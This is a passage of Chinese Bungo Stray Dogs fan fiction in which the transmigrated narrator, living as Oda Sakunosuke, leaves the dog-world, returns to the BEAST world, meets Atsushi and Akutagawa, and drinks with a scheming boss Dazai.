疑惑的又找了一遍,最后我带着不祥预感拉开了柜门—— 先露出来的是沙色风衣一角,然后是一双无处安放的大长腿蜷着,武侦宰在壁橱里睡得正香。 看着有几分可怜巴巴。 我:“……” 先祈祷一下,不是醉酒的我执意霸占了床,对吧? 窗户外面有一小团白色在拼命晃尾巴,很吸引人的注意力。 嗯? 是敦汪。 它嘴巴里叼着什么东西,两只前爪按在窗户玻璃上,眼睛亮亮的盯着这边,尾巴摇晃成了螺旋桨。 我看看两个还在睡的人类,悄无声息的走过去开窗,示意它不要出声:“嘘……” “——汪!”斜刘海小白狗把叼着的东西放在我摊开的手掌上,挺起了胸膛,好奇看我,“汪?” 我手掌一顿,突然意识到变成人的我已经听不懂野犬们在说什么了。 但我看了看小白狗交给我的发光东西。 它在触碰到我的时候就融化一样的消失不见了。 是[书]。 ……本世界藏在中岛敦身上的那本[书]啊。 加上了之前的书页,以及国中部和幼稚园两个世界里的书页碎片……已经集齐了。 我留在这个世界的理由已经没有了。 我不动声色的收回了手,对小白狗道谢的点了点头,低声问:“太宰……没有和你一起吗?” “汪呜?” 小白狗疑惑的歪着头,转过头想去找谁一样,但是却扑了个空。它又找了一圈,也没有找到,迷惑得尾巴都不摇晃了,急得汪汪汪汪就是一连串叫唤。 我虽然听不懂他们的说话了,但想了想太宰治的性子,还是心中了然。 太宰汪,应该是在附近的哪里躲起来了吧。 不愿意面对与我的离别吗? 是只胆小鬼狗狗。 “啊……我最讨厌狗了!”武侦宰抱怨的声音骤然在身后响起。他从柜子里探出头,烦躁的不满说着, “一大早的,哪来的野狗在乱叫啊?!” 我再一回头,窗台上的小白狗夹着尾巴、脚底抹油溜了,跑的飞快,连一声都没再叫唤。 “是和织田作先生认识的野犬们,织田作先生……是该走了吗?”坂口安吾也醒了,他揉揉眼睛,戴上眼镜,疲惫的欲言又止问了出来。 “安吾还是一如既往不会说话啊。”武侦宰冷冰冰的打断了他的话,语气非常生硬。 “太宰先生,逃避也是没有用的。” 不知道昨晚经历了什么,坂口安吾居然有底气这么反驳了,和太宰斗起了嘴。 我惊奇的注视着这一幕,目光逐渐欣慰。 太好了,在我快要离开的这个时候,他们两个的关系变得回转了啊。 但我还是习惯性的打了个圆场,劝架似的说:“好了,不要吵了……” 我敢发誓我说了一句很平常的、类似废话的东西,但是却犹如灵丹妙药一样见效了。 ——穿着沙色风衣的青年和戴着圆镜框的青年霎时间收声,像是被掐住了脖子似的乖巧看向了我。 我:“……?” 虽然不解,但是耍宝的话题结束后,氛围突然变得很沉重。 我动了动嘴唇,想找出几个继续留下来的理由,或是必须走了不可的原因,但是我仍然说不出口。 离别啊,我也很讨厌面对的。 本来想趁他们都睡着的时候留下纸条,静悄悄的离开,现在这个想法也泡汤了。 “——太宰,帮我买一些狗零食给那些侦探社门口的流浪狗吧。”我还惦记着辛苦的汪汪侦探社,沉默几瞬后,我把乱步汪着重叮嘱我的几样都重复了出来。 它们完成了委托,要犒劳才行。 我老老实实的这件事拜托给了太宰。 “我讨厌野犬!嘛,既然是织田作这么说的,那就没办法了……” 武侦宰一脸很不满但还是照做了的表情,幼稚的抱怨了几句,嘟嘟囔囔的。 又是几秒钟的沉默。 安吾的表情像是在搜肠刮肚的试图再找一个话题出来,十分凝重。武侦宰却双手插着口袋,突然很洒脱的笑了: “好了……织田作,你回去吧。” 这个笑容很温柔,也超出了我的预料。 他安静的笑着望向我,鸢色的眼眸温暖得如同琥珀,里面仍然是一片死寂的清醒,却浸上了一层回忆的暖意。 他由衷的说: “虽然不得不学习幼稚园的那个太宰——呕,这么说有点奇怪。但,能知道织田作还在这世界上的某个地方活着——这对我来说就是最好的一件礼物了。” “……对我也是。” 坂口安吾低垂了一下眼镜片,侧过脸去,不自然的掩饰他有些不稳的声线。 他似乎还有很多话要说,但从眼镜片后复杂的注视着我,又望望太宰治,还是都没有说出来。 “那么,再见。” 我的喉咙被堵住了,不知道该说什么,只能笨嘴拙舌的这么说了一句。 我还停顿了一下,坚持走出门外,回头对他们挥了挥手,才准备发动能力。 ——我特地走出门再离开,是为了寻找太宰汪的踪迹,想至少对它也道一声别。 但是太宰汪也不愧是太宰,躲藏得天衣无缝,不漏痕迹,就像它今天没有来这里一样。我不死心的看向四周,找了半天也什么都没发现。 最后我想了想,对着空地平静的留下一句话。 不是“谢谢”,也不是“再见”。 我威胁道:“……胆小鬼不会和我再见。” 半分钟后,一只穿着沙色风衣的大狗狼狈的连滚带爬从空调外机上下来了。 它幽怨的鸢色大眼睛默默看着我:“……汪呜。” 虽然听不懂,但我感觉太宰汪骂的很脏。 “……哇哦!”这是看了场好戏的武侦宰,很有乐子的在旁边嘴角疯狂上扬。 坂口安吾眼神死的熟练默默吐槽:“……我到底还在期待什么……不愧是织田作先生。” “那么,再见。” 我又把刚才的道别冲着两人一狗重复了一次,但这一次,我说的神清气爽。 谁都不准给我刀! 区区胆小鬼,拿捏!- 作者有话说: 今年冬天在海南过冬,终于没有天天生病了,但是去年元气大伤那一次底子透支回不来了,感觉最少得养两三年才能缓过来气。 汪的世界完结了!中间要回一趟if线世界,然后我已经开始思考,接下来写哪个世界呢? 思考。 第57章 黑敦白芥 再次睁开眼的时候, 眼前是熟悉的雾霭蓝色的高远天空。 灰调背景下的横滨港口一眼望去,五栋黑色大楼仍然气派的屹立在那里,远处有轮船长鸣的笛声: “嗡——” 伴随着清晨空气中的水汽, 我发自内心的深吸了一口气,肩膀彻底放松了下来。 唔。 回家了啊…… 我没有急着联络首领宰, 安吾或者织田作先生,而是平静的独自走在横滨的街头, 沿着这条水泥大路散步。 来了这么久,我还没有仔细看过这座城市。 上班族们塞满了一辆辆汽车, 路边的行人也多是步履匆匆的, 面包店里传来了一股诱人的芳香味。有一位警察先生眉头紧皱, 站在路边面前教训着什么人, 路过的横滨人头都不抬一下,只当自己是聋子, 非常自觉的不看热闹。 只有我。 我的脚步像是有自己的想法, 几秒钟后已经默默挪了过去。 ——穿着警察制服的人颐指气使的严厉说着:“不管怎么说,这样做也太乱来了!你们的家长呢?让他们来署里领人!” “我……在下……” 警察先生对面传来少年支支吾吾的声音。 我侧过半张脸,用另一个角度看清了少年的模样。 我大吃了一惊。 但比我更吃惊的是那个白发少年。 他也在同一瞬间看清了我的模样, 马上涨红了脸庞,冰冷的眼神变得羞愤, 然后想到了什么, 瞳孔剧烈动摇着。中岛敦把下半张脸沉了一下, 又习惯性的用半张手掌掩饰的抓了一把—— 他扑了个空。 白发少年没能及时遮掩下自己的表情, 羞窘的撇开了头。 我注意到中岛敦已经不再是穿着厚重高领大衣的打扮了, 他穿着一件普通的黑色大衣,脖颈暴露在外面,上面旧伤疤遍布。 老老实实听警察训斥的他, 更像是一个普普通通的少年,而不是港口黑//手/党中让人闻风丧胆的“白色死神”。 我已经明白了。 虽然不知道中岛敦为什么不离开,但他现在应该很为难。直属于首领的白色死神该怎么“叫家长”? “他做了什么?”我下定决心,便先道了个歉,向警察先生打听起来。 “……喂!”中岛敦瞪向我,又顾忌什么似的回头看了看,忍耐了下来。 “你就是他们的家长?”警察先生调转了注意力,开始把狂风暴雨般的怒气倾倒在我身上,“怎么可以纵容孩子在马路上打架呢!太不像话了,这里还是市政厅门口……” “……是。” “十分抱歉,我会好好教导他们的。” 我几乎招架不住,低下头木讷的连连应声。 在被念叨了十分钟和连连做保证后,我掏空了口袋里的剩余零钱,才艰难的带着中岛敦深一脚浅一脚的离开。 中岛敦看起来很难以启齿,眼神飘忽,被一阵古怪的沮丧笼罩着似的,干巴巴的从喉咙里对我挤出一句道谢: “……谢谢,织田先生。” “啊。”我简单应了一句,心里思索着什么。 上一次见面还是在港口//黑//手党的地牢里,他在栏杆外面,我在栏杆里面,我们都知道内情,再碰见还挺尴尬的。 中岛敦:“……” 我:“……” 等转过这条街道,白发少年耐不住这阵诡异的氛围,匆匆对我道了个别,就像是幽灵一样仓皇的逃跑了。 我没有去追,而是等了好一会儿,才向那个方向走去。 在灰扑扑的人行道旁,有一个穿着浅色风衣的少年在认真的向中岛敦道谢:“多谢,刚才在下躲了起来,让你一个人被责骂了。” 中岛敦摇摇头,面对他的时候语气轻快了不少,完全没有怪罪: “你肯定是有理由的吧?也怪我忘记了,在马路上和你打起了架,下次我们去废弃的河边再打一场试试?” “好。”浅色风衣少年没有推辞,垂下头,很有礼貌的坚持解释了原因, “在下刚才躲起来,是因为那位红头发的先生……是在下的新监护人。为了一件很重要的事……无论如何我也需要获得他的认可。” 少年有着黑色的头发,发尾却渐变成了白色,气质平和,说话彬彬有礼。 ——这个人是芥川龙之介! 果然,只有在beast世界里才能看到黑敦白芥这么友好的相处吗? 我看向那边的吃惊目光转变成了无限的欣慰。 记得if线里面,中岛敦去武装侦探社送信。在一切都还没有暴露之前,两个人坐在咖啡厅里,没有任何火气和芥蒂的友好相处着,兴奋的交流着他们的相似童年。那天玻璃窗上晕染开的光线和咖啡的甜度都那样恰到好处。但平和最终只有短短一阵子,就像骤雨似的短暂。 再之后,芥川龙之介望向他的眼神中全是陌生和仇恨了。 痛,太痛了。 这也是一个刀我的痛点啊! …… 我不在的这段时间里,首领宰是处理好了这件事情吗? 我思索的看向了穿着浅色风衣的芥川龙之介,想到了他刚才的话- 作者有话说: 看beast的时候,黑敦白芥也好痛啊,短暂的友谊,像泡沫一样很快的破裂了qwq 第58章 首领宰的事后清算 也许是因为我身手生疏吧, 站在墙壁前的芥川龙之介突然敏锐的转头向这边看了过来,眼神瞬间凶恶: “——谁?!” 随着他的厉声喝问,少年穿着的浅色风衣下摆也像是有了自我意识那样飞舞起来, 一头张开嘴巴的饿兽龇牙咧嘴的急射向我, “你不是织田先生……罗生门!” 在我还没有反应过来的时候, 「天衣无缝」发动了。 我亲眼看到了自己的身躯被一根根浅色尖刺向外扎穿,被带到半空中失去力气的死状。 下一秒, 现实里的我狼狈的后退几步,躲开了攻击。 “……!” 我的脸上仍然保持着面瘫, 好像很平静似的站着, 实际上我的心跳不由自主变得急促了很多, 肾上腺素都被叫起来加班了, 双腿都有些发软了。 嘶,这一次比我在港//口/黑//手党地牢里的那次遭遇还要危险。 面对芥川这种一言不合就动手的样子, 我自认只有普通人的战斗水平, 靠着「天衣无缝」也撑不了多久。 一个不小心,我就要小命不保了。 ——织田作的形象绝不能败坏在我手里!!还有首领宰,不能再出事吓他了。 我必须撑住啊。 我在心里给自己打气, 准备对芥川解释。 芥川龙之介却停止了攻击,眉头微蹙的定定注视着我, 好像看到了什么不可思议的事物。他酝酿了半天, 迟疑紧张的问: “你是织田先生?你失忆了吗?” 我:“?” 中岛敦:“?” “芥川君, 你的新监护人就是他??”中岛敦看向我的眼神中更古怪和震颤了。 “在下……”芥川龙之介艰涩的说了半句, 没回答全。 ——他自己也拿不准了。 他的新监护人织田先生的异能力, 可以预判他所有的攻击,不管他怎么出手都没有反抗之力。那个红头发的男人,织田作之助, 就是这么一个强大的人。芥川龙之介急切地想要向对方证明自己,以及从对方口中问出一件很重要的事。 刚才,他以为有人伪装成织田先生的模样在暗中偷窥,跟踪的技巧却那么拙劣。 这是对织田作之助那个男人的侮辱,不可容忍!! 芥川龙之介眼瞳中闪烁着冷酷的光芒,毫不犹豫的使用了罗生门。 但—— 对方的异能力还是一模一样的,也那么平静的躲过了他的袭击。 假如一个男人,和织田先生有着完全相同的样貌形态,完全相同的异能力,只是哪里给了他陌生感。这个人还是织田先生吗? 芥川龙之介,大脑宕机。 “……这里交给我吧。”另一道和我一模一样的平静声线从拐角处响起。 我回过头,看到织田作先生不知道什么时候赶到了。 红发男人穿着一件沙色长风衣,里面是黑色的衬衣。他手臂间夹着一个公文包和一把深蓝色的长柄雨伞,额头上带着些许汗渍,像是从很远的地方收到消息,匆匆忙忙一路跑过来的。 织田作之助把手按在我的肩膀上,微微用力了一下,越过我走向了震惊呆在原地的两个少年,对芥川龙之介平静的解释: “这位也是织田作之助,你可以同样喊他织田先生,或者和我的友人们一样,喊他织田作先生。” 中岛敦结结巴巴的,表情像是被迎面重击了一拳头似的晕头转向,指着织田作之助和我,荒谬得有些崩溃: “……两、两个织田……二重身?这到底是怎么回事?!” 世界上怎么可能同时有两个一模一样的人存在?!连名字都一样!就算是双胞胎都不会这么起名吧。 中岛敦苍白的面孔上全是心乱如麻,他死死抿着嘴唇,一只手不由自主摸向了口袋里的通讯机器。 首领当初让他把这个男人赶出地牢,又隐瞒身份破格成为了友人。首领知道他的特殊情况吗? 这个男人他——他会裂开啊。 这是听完监护人介绍、呆滞在原地沉默了两秒钟后的芥川龙之介:“……” 他张了张嘴,似乎想问什么,然后突然想通了什么似的,下一刻流畅的用毫无犹疑的信服口吻转过头,向我问好了: “织田先生。” 我木讷的回答:“…………你好。” 就这么接受了吗?芥川龙之介是怎么跳过疑问跳过求证跳过结论,直接接受这个答案的? 真的好想吐槽,现场果然还是太缺少安吾了。 但一想想文野主世界的芥川龙之介是怎么追着太宰跑的,我突然又好像明白了这个芥川龙之介的想法; ——只要是织田先生说的事情,就是对的。 或者,织田先生是强大的男人,强大到变成两个也没什么奇怪的。 之类的…… 我默默收回了视线。 与此同时,中岛敦也飞快的拨出电话,对着那端说完了一切。 “敦君,你的情报很有用,但我没记错的话,你已经被驱逐出港口□□了吧?” 中岛敦聆听着话筒那段无感情的声音,脸色唰的一下变得惨白,手都有些发抖了。 “太、太宰先生……” 他似乎想辩解些什么东西,嘴巴无力的嗫嚅了两下后,还是软弱的合上了,表情活像是在这个凛冬,整个人被活生生的浸进了冷水里。 太宰治又在欺负小孩了。 我头顶的呆毛摇晃了一下,无声息的走过去,仗着身高从中岛敦的手中取走了那部手机:“太宰,这是怎么回事?” 我亲耳听到太宰治没说完的冰冷威胁瞬间融化成了期许的活跃语气: “呀,织田作——你回来了。” “说来话长,等会儿lupin酒馆见?唔唔,对,把手机还给敦君。” 我如约还了回去,看到中岛敦不知道听到了什么,斜刘海少年顿时容光焕发起来,苍白的面颊上也有了一抹激动得来的薄薄血色: “……是!” 中岛敦也不沮丧和害怕了,认认真真和芥川龙之介告别去了,这副模样更像是表世界的一个普通孩子。 “记得打在下的号码。”芥川龙之介不自然的干咳了一声,还是不舍的叮嘱他。 “下次带你认识一个新朋友,小镜花和我一样是孤儿院的孩子!”中岛敦在远处大力的挥着手。 这场街头的荒谬偶遇终于要收场了。 “——织田作先生,去喝酒吗?”我对红发男人发出了邀请。 “出差辛苦了。” 织田作之助对我平淡的点了下头,看起来暗中松了口气,自觉尽到了他帮忙看护孩子的职责,但他拒绝了我, “不了,我还有工作。这段时间发生了不少事情,太宰会告诉你的。” 他说起“工作”这句话的时候,芥川龙之介毫无异议,只是站在红发男人身旁,礼貌平静的聆听着我们的对话。 我了然点头,与他们道别。 Beast世界里的确发生了不少变化,至少我没记错,我去了“文豪野犬汪”的世界最多两三天,出发前还冷得需要暖炉和棉被,但是回来却看到织田作之助和两个少年都换下冬衣,只剩风衣和衬衣了。 我独自前往了lupin酒馆。 天色还没有变暗,所以这条破旧的小巷里还是一地冷清,沿途走过,只有重重锁着的卷帘门与黯淡无光的灯牌在欢迎我。 lupin酒馆的灯牌也是暗的,但是下一瞬间却闪烁了两下,突然亮了起来,像是以往那样。 我不知道为什么,心脏突然也剧烈跳动了起来:“……!” 走过向下的崎岖楼梯,不得不弯腰来躲避低矮的天花板装潢,我脚步越来越快,看到昏暗的暖色调光线下,有一道身影已经背对着我,坐在了吧台前。 太宰治穿着一件厚款的黑色大衣,后脑勺发丝凌乱,不知道为什么,嗓音中还带了一点气喘,他回过头来,平常得像是说过千百次那种: “织田作,今天想喝什么酒?” “你呢?”我顺从的接上了话,走过去在自己的老位置上坐下。 “叮当!”后厨门的铃铛晃响,老板兼酒保也正匆匆忙忙的从里面走出来,领口处的领结刚系了一半。 酒保看到我的时候,动作就像往常似的放缓了,走到吧台前询问的等待着我们。 ——看得出来,他们来得都挺匆忙的,lupin酒馆也是刚开门。 我若有所思的望了望太宰和酒保,心情指数开始直线上升。 太宰治深沉的注视着我,若无其事,他的双手手指在吧台上互相合拢在一起,胸口已经完全没了刚才的大幅度起伏的模样: “唔……” 他思考着。 这短短的一瞬足够太宰治平复痕迹了。 我想了想,先说:“螺丝起子。” 这杯鸡尾酒口感清爽柔和,我可以喝很久,慢慢和太宰聊这段时间的经历。或者说——我听太宰说很久。 毕竟我在外面的经历全被首领宰看在眼里,但首领宰这段时间发生了什么,我却一无所知。 “那老板,也给我一杯!” 太宰治很从善如流的举起缠满绷带的手示意。等两杯酒被推到我们面前时,他的眼睫毛垂下,视线一转就落到了我身上。 “织田作——” 首领宰脸上勾起一抹若有若无的笑意,我心中却突然警钟大作,去端酒杯的手都是一顿。 “织田作在外面玩得好高兴啊,能认识那么多个太宰,还带他们到别的世界玩……” 首领宰的这段话像是嗓音慵懒的感叹,又像是抱怨,还像是在暗戳戳的在点我。 我手指一僵,沉默的捏紧了酒杯柄:“……” 呃,怎么回事,憋了这么久的修罗场还是来了吗? ……从一开始知道首领宰在「书」对面看着的时候,我就知道迟早会有这一天! 呆毛蔫蔫垂落- 作者有话说: 回到了beast世界! 嘻嘻(呆毛摇晃) 首领宰微笑且阴阳怪气。 不嘻嘻(呆毛垂下) (太久没写了,有点手生找不回风格,等我这两天写起来酝酿酝酿!) 第59章 手段冷酷首领宰 我沉默着, 还是下定了一个决心。 我没有回答首领宰的话,而是认真的反问了他:“——太宰,所有的记忆你都收到了吗?” 首领宰措手不及的一时语顿, 刚才刻意保持着的幽幽语调、上身微微向前倾具有压迫力的气场、全都像是冬天山上融化淌下的雪水一样消失了。 他静止在座位上。 首领宰不动声色的垂下眼等待着聆听,只用鼻音示意我继续:“嗯?” 青年放在吧台桌面上的那只手却不自然的微动了一下, 在绷带下蜷起了手指。 我把这一切收进眼底,欣慰了起来。 不愧是首领宰, 他已经敏锐意识到了我这句话中藏着的意图。他总是可以轻易洞彻人心。 但是…… 他有一分动摇和迟疑。 即便我已经和他有过那些过往,他还是什么反应都没有, 执拗得像一块凝固的石像, 在等待着我接下来说出口的话吗? 我从不退缩, 看向首领宰垂下的眉眼, 坦然的说出了我深藏心底的计划:“拯救不同的世界是我的目标,但你的友谊也是我珍视的东西。” [太宰, 我说过, 我不知道该怎么对待你。你是最特殊的太宰治,直到现在、以后你都还在使用‘书页’。] 这代表着,万千个“太宰治”的记忆会一直影响首领宰, 持续不断的影响下去。 带来一模一样的、枯燥又可悲的结局。 但他如果要和我联系,如果想知道Beast世界之外在未来发生的变数, 就不可能不使用下去。 这样的首领宰, 像个虚无的影子。 他已经被我拉回来了一部分, 但他永远会在这悬崖峭壁的高索上摇晃。 [我该怎么办?] “我不会放任你被书页影响下去。”我直视着首领宰, 他看起来又一次被我逼到了死角, 无路可逃了,只能被动听着我接下来的审判。而他沉凝的神色很明显——他早就知道我想说什么了。 所以我说:“不管我去哪个世界,你都会收到那份记忆。崭新的、预计不到发展的不同未来。” 千百次同样的悲剧走向, 能用来对抗它们、洗刷一切的只有『千百次新鲜的有趣未来』。 “太宰,你喜欢吗?” 我发出最后一击。 首领宰在微微叹气。 “……织田作。” 他的声音像是轻微抚过发丝的那缕风,几乎捉摸不到痕迹。 我抬起头,看到首领宰的眼瞳里映出一抹头顶上的暖色灯光,他脸上勾起一个笑容,几乎不算抱怨的抱怨着:“有时候完全被你打败了!” 这点微弱的反击,直接可以算作是投降。 我马上欣然笑纳了,头顶上的呆毛重新恢复摇晃。 这一局,算阴阳怪气的首领宰大失败。 想在不同的太宰治之间友谊端水,这可不是一件好办的事!正如我最开始用来对付首领宰的武器那样——我仅有的武器只有一个,用的也仍然还是那一个: “我的真心”。 如果不是首领宰刚才的质问,其实我是不打算把这个计划说出来的。 潜移默化的包围每一个太宰治,直到最后等首领宰后知后觉的反应过来自己被温水煮青蛙了,他却已经没了抗议的能力,只能乖乖接受天底下我们两个关系最好的事实……这个不是很棒吗? 我和首领宰互相望了一眼,不知道各自都想到了什么,气虚的默契一起低头喝酒。 喝酒喝酒…… 在我们两个人的共同努力下,刚才的话题消隐无踪的过去了,就像从来没有发生过那样。 首领宰灵巧的手指翻来覆去的把玩着喝空了的玻璃杯,单手托腮,微微偏着头,鸢色的眼眸迷离,有些百般无聊的模样。但谁要是真以为他这副模样是醉了,那才可怕。 但这有点反常,他不该滔滔不绝的把这段时间发生的事一股脑说出来吗?我怀疑太宰治的薄脸皮还没有缓过来劲,或者有什么事让他烦心。 我没有打搅他,只是静静在旁边续着酒,享受着这阵安宁的氛围。 “有点累了。”过了一会儿,首领宰突然语出惊人。 他脸上写满了嫌弃和困扰:“但是中也只知道追着主人跑……完全是只黏黏糊糊的小狗狗啊。织田作,该怎么让他长个教训呢?” 我没给出建议,我知道,首领宰也不需要我给建议,我只是从善如流的问:“该怎么做?” “森先生的理念我不认可,但是做法嘛……” 太宰治的眼眸中闪烁着恶意的光芒,他似乎来了兴致,淡定的评价,“做法挺不错的。” 我:“?” 我回想了一下Beast世界中的森先生做过什么…… 在中原中也的眼里,他是被下任首领杀死的? 我举到唇边的杯沿顿住了,有了不详的预感。 “织田作!下次你再去别的世界,带上我一起?就当做一次短暂的实验。”首领宰双手合十向我恳求着,但我分明看到了他脸上的兴味。 “等你回来以后,我们是不是还要参加先任首领太宰治的葬礼和新首领中原中也的就任仪式?”我木着脸,完全不敢想首领宰的小脑瓜里正在转着什么冷酷的念头。 但我知道,首领宰如果假死脱身一次的话,就像森先生那样——中原中也在这样的压力下,绝对会飞速成长起来的。 这个念头应该是从首领宰得知了本世界的未来后有的想法……我一点都不怀疑他会为了磨砺中原中也这么做。假如我可以长久带着首领宰去其他世界,在没有危机的当前版本,他也许能在下一秒当众跳楼表示死去。 太宰治收敛了脸上全部的表情,娓娓道来的给我讲了这段时间发生的事,抱怨了一大堆: ……当初森先生现身后,中也以为自己误会了首领,任劳任怨的被他折腾了一个月。 但在中也别扭的想缓解两个人的关系,问起首领为什么从来不解释森先生没有死的事情、反而让他误会了好几年后,当时的首领宰冷酷的告诉他: “森先生认为,首领只是一个组织的奴隶,为了组织的利益,就算是首领也有不得不做的事情。但我和森先生不一样。” “中也——”首领宰的声音像是冰冷的毒蛇在脖颈上缠绕,“对我来说,首领就是首领,是整个组织的意志,是暴君,是引领所有人前进方向的指针,唯独不是奴隶。” “所以,是森先生的理念把你惯坏了吗?让你来质问我?” 这场对话过后,两个人不欢而散。中原中也又恢复成了那副冰冷憋气的模样,他见识过先代首领时期的暴政,接受过森先生时期的教导,绝不认同这番“暴君论”。 从那天开始,他又玩了命的处理起太宰治丢给他的事务了。 …… 我目光逐渐变得有存在感,默默凝视着首领宰:“太宰,你是想借假死检验中也先生能不能贯彻他的理念,驾驭好港//口/黑//手党吗?” 好粗暴的教导手段。 好太宰治的风格。 Beast线逃过一个受害者芥川,又来了一个受害者中也吗? 我有心劝说,却又不知道该从哪里说起。说到底,这是港//口//黑//手党的内部交接问题,又不牵涉首领宰的性命,我没什么立场劝说。 首领宰欣然点头,但话音一转:“安心吧,织田作——那不是现在的计划。中也是我一个人的好狗狗,怎么能被森先生的话——继续污染呢?” 他拖长了腔调,嗓音黏黏糊糊的,恶意的压低之后,像是海底缠绕的海草。 那种肯定的语气,他已经想好了该怎么折腾中原中也的观念了。 我不由得在心里为即将受害的中也先生祈祷。 但我也放下了心来:“……啊。” 举杯与太宰再碰了一次。 只要首领宰不是在现在想执行他的假死计划,短时间内我都不需要担心了。 首领宰对于当首领没有一丝一毫的兴趣。 我知道他只是为了确保“织田作之助”的存活,为了自己的计划才篡位的。但现在他的计划已经面目全非了,为了保障他退位后的下一代首领能继承他的意志,而不是像森先生那样又是一个隐形的隐患,首领宰一定会在时机成熟的时候再假死。 ……虽然我严重怀疑首领宰那么说,完全是在别扭的竖起浑身的刺,应激似的拒绝中也先生“肉麻”的示好。 证据是,距离上次他和中也先生被动关系改善后,到现在也没有新的变化,反而迅速回归了原位! 理由好像还很正当,完美的挑不出刺来。 我却只相信我的直觉。 我沉思了一会儿,还是决定换个说话妖言惑众:“太宰,如果临时发生了什么事情,想再培养信任就来不及了。” 绷带青年怔愣了两秒钟,似乎想到了什么,冷硬没有波动的视线一寸寸移到了我的脸上。 他改变了态度,含糊答应了下来:“知道了。” 说完了这些深入的话题,首领宰自己也很不适应似的,很快转移到了一些轻松话题上: “对了织田作!敦君和小镜花现在留在森先生的孤儿院里,已经和武装侦探社搭上线了哦。” 我点点头,欣慰的补充:“敦君和芥川君也相处的很好。” 看到那一幕就被治愈到了。 “小银现在是我的助手。”首领宰的目光有些幽远,“等织田作什么时候安顿好芥川,他才会把银的现状告诉芥川。” 我的心脏缓缓落地。 如果一切能平缓结束,是最好不过的了。这些发展和Beast线中的好像相似,却又不同。 这些孩子都有了一个很好的未来啊- 作者有话说: beast世界的大家都走上了和原剧情中相似又不同的道路了呢,是好的发展(中也除外?)。 我只能说,首领宰和中也这样,还有得磨(闭目)。 第60章 重现捡宰日名场面 这天晚上, 我放任自己一杯接一杯的喝多,愉快的沉浸在和友人相聚、畅所欲谈和酒精带来的氛围里。 我少有的没去思考今天晚上睡在哪里,等会喝醉了怎么办一类的问题。 因为, 我已经回家了。 我安心的想着。 暖黄色的灯光和胡桃木做的吧台晕染开一圈炫目的光晕,激起一阵越来越深沉的困意。 我听见耳边好像有人在说些什么, 是首领宰的声线漂浮在空气中。我敢打赌,他的声音就漂浮在我的耳朵上方三尺的地方。 “织田作……织田作?” 他问了什么, 但我顾不上回答了,地板在我的脑袋上方旋转, 有什么要把我拉进这个漩涡里去, 这个黑洞充满了吸力, 我的脑袋不受控制的往那边探着。 我从喉咙里咕哝了两声微弱的什么, 昏昏沉沉的感受到腰间多了一只手臂,眼疾手快拦住了我扎向地板的动作。 紧接着, 就是青年用尽了办法试图把我架在他的一边肩膀上。 他用脚后跟推, 用膝盖顶,用手肘和肩膀一起发力,忙活得气喘吁吁, 昂贵精致的黑色大衣都满是褶皱,我还是在他身上打滑。 我们两个像是戏台上的共舞木偶, 滑稽的一起踉跄向同一个方向, 短暂过后, 又是另一个方向。 “织田作……” 太宰治累得脸上渗出了细汗, 顾不上形象的竭尽全力撑着身旁的人, 像是激烈搏斗似的试图走出酒馆的门。 众所周知,人在无可奈何的时候容易笑出来。首领宰就气笑了: “……哈。” 他明白自己为了实现那份计划,这几年完全没有在乎过身体情况。以正常的青年男子状况来比对, 他是显得瘦弱不假。 首领宰没在乎过。 但他到了这一刻——只有这一点时间里,太宰治突然真心的思考,自己的体重为什么不能再壮一半。 根本搬不动啊,织田作。 “先生,需要帮忙吗?” 酒保想走过来帮忙,但看到他这一刻的浅笑真挚而愉快、其中没有掺杂着半点不情愿后。酒保身形一顿,短暂的思考了两秒青年的身份,还是决定当做什么都没看见,退回柜台后娴熟的又擦了一个杯子。 首领宰就这么脚步凌乱,衣袖发皱的把人扛出了有着一条楼梯的lupin酒馆。 终于闻到小巷里冰凉又新鲜的夜风的时候,气喘吁吁的太宰治眼神疲惫,瞳孔中没有半点波动,完全失去了高光。 这副脱力的模样比和人轮流斗殴还无力。 “……带他回去。” 他转过头,对小巷外吩咐着什么,后面的话我再也听不清了,虚无的黑暗彻底笼罩了我的耳朵和嘴巴,把我的意识从四肢中剥夺了。 我会在港//口//黑//手/党中过夜。 我最后一丝意识毫无挣扎的这么想着。 会是首领室里吗? …… 再次睁开眼睛的时候,比起醉酒带来的喉咙发干,我第一个感受是——身体似乎被捆住了。 我:“?” 睁开眼睛看了看。 天花板是黑色与暗红色的装潢,刻画着我不懂但能体现出名贵的花纹。经典的港//口/黑//手党高层建筑风格。 低头看看。 一条纯色的长毛巾把我的双手绞在了胸前,几根窗帘捆绑绳把我的腿严丝合缝的绑在床尾的床柱上,枕头被特地抬高了,似乎是为了防止我醉的呕吐,却也让我看清楚了这个有着厚厚黑色窗帘的卧室。 我:“…………” 说真的,好眼熟啊。 这不是完美再现“捡宰日”里织田作之助对付少年宰时的暴行了吗? 一想到织田作之助是怎么冷酷镇压太宰的,想想那些举动,再想想现在被反过来绑住的人是我。虽然身为coser的那一部分我非常激动……能和首领宰本人亲手复刻又一个名场面现场!这也太狂喜了。 但是不知道接下来会遭遇什么的另外一半我,心情又很不安。 “……” 而且好渴。 我不适的滚动了一下喉结,没等我沙哑的发出声音,我以为是阴影处的一片区域中就有一道身影动了动,原来是太宰治坐在那里。华丽的扶手椅旁,厚厚的文件堆成了一小摞,贴在他的靴子旁边。瘦弱的青年就像吸血鬼一样,泰然自若的在这样的昏暗环境中捧着一份份文件阅读着,不知道看了多久。 见我醒了,他贴心的端起一杯水,从椅子上起身,似乎是打定主意堵住我的疑问似的,直接把杯子抵到了我嘴边。 “咕噜咕噜……” 我就这么被迫的灌下了一杯水。 得救了,但是—— 我的疑问还没说出口,另一样东西又堵到了嘴边,是还热乎乎的面包片,从扶手椅另一侧的烤面包机里取出来的很好的抚平了醉酒第二天我翻滚难受又饥饿厌食的胃部。 于是我自然而然的把话又咽了下去,安静的吃完了面包片,安静的看着首领宰,等待他的下一个举动。 “什么啊,织田作半点疑问都没有吗?”首领宰叹息着,故意发出了不满的声音。 我努力思考了一下,两眼放空的反问他:“你要押送我去上厕所吗?” 喂食,进水,现在就差押送上厕所了。 我绝望的想。 ——刚刚醉酒醒来的我的确有这个需求。 不会吧,不会真的要来全套报复吧。 我动了动嘴唇,面瘫的脸上罕见的有些不安。 我小心用余光观察着首领宰的表情,不放过他的任何一丝反应。青年先是愣了一下,眼眸中却迅速溢出了惊喜与兴味的高光,像是突然找到了一件极其感兴趣的事情,他跃跃欲试的不怀好意问着: “假如我的回答是——‘是’呢?” 我:“…………” 我陷入了长久的沉默。 首领宰,你这是在奖励coser啊。 ……你就拿这个来考验老干部吗? 我的良心一时间陷入了强烈的挣扎,额头上渗出了细密的汗渍。 